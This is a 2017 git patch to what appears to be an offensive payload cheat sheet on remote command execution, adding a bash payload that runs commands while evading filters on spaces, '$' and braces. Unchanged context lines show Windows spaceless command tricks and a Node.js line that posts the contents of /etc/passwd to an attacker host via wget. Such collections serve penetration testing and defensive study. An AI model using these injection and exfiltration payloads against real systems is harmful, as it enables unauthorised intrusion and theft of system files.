From 901d279fb3b132af5d40f153b165bfb9a4ca19b2 Mon Sep 17 00:00:00 2001
From: Swissky <maxropelewski@gmail.com>
Date: Sun, 13 Aug 2017 16:35:12 +0200
Subject: [PATCH] RCE no {}, no space

---
 Remote commands execution/README.md | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/Remote commands execution/README.md b/Remote commands execution/README.md
index afd2413..29e0b8e 100644
--- a/Remote commands execution/README.md	
+++ b/Remote commands execution/README.md	
@@ -50,6 +50,12 @@ ping%CommonProgramFiles:~10,-18%IP
 ping%PROGRAMFILES:~10,-5%IP
 ```
 
+
+Code execution without spaces, $ or { } - Linux (Bash only)
+```
+IFS=,;`cat<<<uname,-a`
+```
+
 ## Time based data exfiltration
 Extracting data : char by char
 ```
@@ -82,3 +88,4 @@ require('child_process').exec('wget --post-data+"x=$(cat /etc/passwd)"+HOST')
 ## Thanks to
 * [SECURITY CAFÉ - Exploiting Timed Based RCE](https://securitycafe.ro/2017/02/28/time-based-data-exfiltration/)
 * [Bug Bounty Survey - Windows RCE spaceless](https://twitter.com/bugbsurveys/status/860102244171227136)
+* [No PHP, no spaces, no $, no { }, bash only - @asdizzle](https://twitter.com/asdizzle_/status/895244943526170628)